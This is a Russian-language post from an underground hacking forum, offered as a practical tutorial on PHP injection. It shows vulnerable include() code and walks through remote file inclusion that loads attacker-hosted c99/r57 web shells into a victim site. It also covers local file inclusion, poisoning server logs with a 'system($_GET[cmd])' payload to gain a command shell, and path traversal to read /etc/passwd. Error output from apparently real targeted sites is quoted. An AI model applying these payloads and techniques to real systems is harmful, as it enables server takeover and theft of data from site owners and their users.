PHP-инъекция на практике

  • На форуме работает ручное одобрение пользователей. Это значит, что, если Ваша причина регистрации не соответствует тематике форума, а также Вы используете временную почту, Ваша учётная запись будет отклонена без возможности повторной регистрации. В дальнейшем - пожизненная блокировка обоих аккаунтов за создание мультиаккаунта.
  • Мы обновили Tor зеркало до v3!
    Для входа используйте следующий url: darkv3nw2...bzad.onion/
  • Мы вновь вернули telegram чат форуму, вступайте, общайтесь, задавайте любые вопросы как администрации, так и пользователям!
    Ссылка: https://t.me/chat_dark_time

teranser

VIP

teranser

VIP
6 Янв 2017
476
257
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
PHP-инъекция (англ. PHP injection) — один из способов взлома веб-сайтов, работающих на PHP, заключающийся в выполнении постороннего кода на серверной стороне. Потенциально опасными функциями являются:
Код:
eval(),
preg_replace() (с модификатором «e»),
require_once(),
include_once(),
include(),
require(),
create_function().
PHP-инъекция становится возможной, если входные параметры принимаются и используются без проверки.

Пример кривого кода:
Код:
<?
...
$module = $_GET['module'];
include $module . '.php';
...
?>
С помощью этой ошибки мы можем подставить свой ядовитый код со своего сайта и выполнить инъекцию удаленно - это называется глобальный инклуд.

Например имеется сайт
What is App Cloud?foto

Подстовляем произвольно буквы вместо foto

What is App Cloud?adminloh

и видим ошибку такого плана:
Код:
Warning: include_once(pidori) [function.include-once]: failed to open stream: No such file or directory in /home/catenabrasil/www/portal/index.php on line 69
 Warning: include_once() [function.include]: Failed opening 'wert' for inclusion (include_path='.:/usr/share/pear/:/usr/lib/php/') in /home/catenabrasil/www/portal/index.php on line 69
Это 90% уязвимый сайт.
Подставляем вместо параметра foto линк на наш сайт на хостинге (сайт не должен поддерживать php скрипты иначе будет все выполнятся на нашем сайте, а не на сайте жертвы) с заранее залитым веб-шелом...


Используем c99shell и r57shell...

И получается линк такого плана
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!

И если все верно то мы получаем веб шелл... Сайт у нас в руках))

Локальный PHP - инклуд
Позволяет злоумышленнику инклудить файлы лежащие на сервере.
Пример кривого кода:

Код:
?php
    include("include/$file");
?>
С помощью этого бага возможно инклудить т.е читать файлы на серваке... Например на сайте можно загружать файлы с любым разрешением, и мы имеем возможность загрузить свой php код и проинклудить его получив веб шелл, или прочитать логи ошибок сервака, например в лог идут все ошибки 404... мы подставляем в линк сайта свой php код:
Код:
<?php system($_GET[cmd]) ?>
и он выдает нам ошибку 404... мы инклудим лог и получаем веб шелл CMD...

Пример сайта
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
foto
Заменяем
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
qwert и видим ошибку:
Код:
Warning: main(files/content/qwer) [function.main]: failed to open stream: No such file or directory in /home/u3/bmohler/html/index.php on line 38
 Инклудим файл /etc/passwd - http://site.ru/index.php?page=../../../etc/passwd
и видим примерно такое
:

Код:
# $FreeBSD: src/etc/master.passwd,v 1.25.2.6 2002/06/30 17:57:17 des Exp $ # root:*:0:0::/root:/usr/local/bin/bash toor:*:0:0:Bourne-again Superuser:/root: daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin operator:*:2:5:System &:/:/sbin/nologin bin:*:3:7:Binaries Commands and Source:/:/sbin/nologin tty:*:4:65533:Tty Sandbox:/:/sbin/nologin kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin games:*:7:13:Games pseudo-user:/usr/games:/sbin/nologin news:*:8:8:News Subsystem:/:/sbin/nologin man:*:9:9:Mister Man Pages:/usr/share/man:/sbin/nologin sshd:*:22:22:Secure Shell Daemon:/var/empty:/sbin/nologin smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/sbin/nologin mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/sbin/nologin bind:*:53:53:Bind

Это мы произвели инклуд /etc/passwd...
Таким же образом можно проинклудить логи ошибок и БД...
 
Последнее редактирование модератором:

О нас

  • Наше сообщество существует уже много лет и гордится тем, что предлагает непредвзятое, критическое обсуждение различных тем среди людей разных слоев общества. Мы работаем каждый день, чтобы убедиться, что наше сообщество является одним из лучших.

    Dark-Time 2015 - 2024

    При поддержке: XenForo.Info

Быстрая навигация

Меню пользователя